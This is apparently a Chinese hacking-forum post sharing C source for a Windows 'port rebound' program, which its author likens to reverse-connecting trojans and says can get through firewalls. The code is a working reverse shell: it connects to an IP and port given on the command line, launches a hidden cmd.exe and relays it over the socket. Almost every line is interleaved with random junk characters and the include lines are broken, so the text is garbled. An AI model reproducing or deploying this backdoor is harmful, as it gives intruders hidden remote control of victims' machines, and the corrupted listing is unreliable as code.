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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LaQ7A,]  
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/* ============================== V?M (exN  
Rebound port in Windows NT uY.Ns ?8  
By wind,2006/7 A08kwYxiW  
===============================*/ G(7%*@SX  
#include i O$87!  
#include ~M}{rl.n=  
$P{`-Y }a  
#pragma comment(lib,"wsock32.lib") "-=fi 'D  
}:2##<"\t  
void OutputShell(); ^m#tWb)f  
SOCKET sClient; T [SK>z  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )h}IZSm  
*S}@DoXS  
void main(int argc,char **argv) $Lp [i <O]  
{ OIPY,cj~  
WSADATA stWsaData; ,-Hj  
int nRet; 5GM-*Ak@  
SOCKADDR_IN stSaiClient,stSaiServer; ,>-jZtm  
!h.hJt  
if(argc != 3) HV~Fe!J_  
{ xxur4@p!  
printf("Useage:\n\rRebound DestIP DestPort\n");  8oJl ]  
return; [#Qf#T%5h  
} uN)c!='I  
o-rX4=T  
WSAStartup(MAKEWORD(2,2),&stWsaData); 7+P;s,mi7  
Wq4<9D  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?y? 9;;  
&3t973=  
stSaiClient.sin_family = AF_INET; H7Q$k4\l  
stSaiClient.sin_port = htons(0); (\F9_y,6*\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1b%Oi.;  
Cx2# 0$  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tczJk1g}  
{ bA)nWWSg=  
printf("Bind Socket Failed!\n"); J1G}l5N  
return; e{E\YEc  
} 2fTuIS<yr  
86=W}eV1r  
stSaiServer.sin_family = AF_INET; Vkg0C*L_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X]=eC6M}:V  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @:?[R&`  
d^=)n-!T  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) tu}!:5xi  
{ }i8y/CA  
printf("Connect Error!"); #^L&H oo6  
return; r]!#v{#.  
} V[(fE=cIN~  
OutputShell(); 'W(u.  
} xq((]5Py  
jC'h54 ,Mr  
void OutputShell() ]AYP\\Xi  
{ !Vyf2xS"  
char szBuff[1024]; )h,y Q`.  
SECURITY_ATTRIBUTES stSecurityAttributes; 5REFz  
OSVERSIONINFO stOsversionInfo; j,.M!q]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M=raKb?F  
STARTUPINFO stStartupInfo; 4  eLZ  
char *szShell; 1b3 a(^^E  
PROCESS_INFORMATION stProcessInformation; vW &G\L  
unsigned long lBytesRead; 9E ^!i  
@*y4uI6&  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); I,hw0e  
:6Nb,Hh~  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ],weqs  
stSecurityAttributes.lpSecurityDescriptor = 0; a<&K^M&  
stSecurityAttributes.bInheritHandle = TRUE; Oo :Dt~Ib  
d3c.lD)L9  
A&M_ J  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _3aE]\O[  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ca0s m  
s6~;)(r  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }? _KZ)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  4v`/~a  
stStartupInfo.wShowWindow = SW_HIDE; xS1|t};  
stStartupInfo.hStdInput = hReadPipe; Odo)h  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;0Z-  
j1;[6XG  
GetVersionEx(&stOsversionInfo); ` Tap0V  
tBGLEeL/.  
switch(stOsversionInfo.dwPlatformId) `TPIc  
{ <J<"`xKL  
case 1: K80f_ iT 5  
szShell = "command.com"; ,,u hEoH  
break; *,z/q6  
default: s>/Xb2\  
szShell = "cmd.exe"; {g.YGO  
break; c0zcR)=mL  
} (c[u_~ ;  
+ Tp% *  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lMFo)4&P  
ym|7i9  
send(sClient,szMsg,77,0); L ?/AKg  
while(1) S' $;  
{ C7dq=(p&  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q#3}AO  
if(lBytesRead) @4y?XL(n  
{ {rcN_N%  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); s;I @En  
send(sClient,szBuff,lBytesRead,0); "<=4]Z  
} g8.z?Ia#5Z  
else IB&G#2M<  
{ ~-k , $J?7  
lBytesRead=recv(sClient,szBuff,1024,0); X:UlL"G  
if(lBytesRead<=0) break; ]owgsR  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |yk/iO(  
} Hl}lxK,]  
}  :f[ w  
eE'P)^KV  
return; _O}m0c   
}
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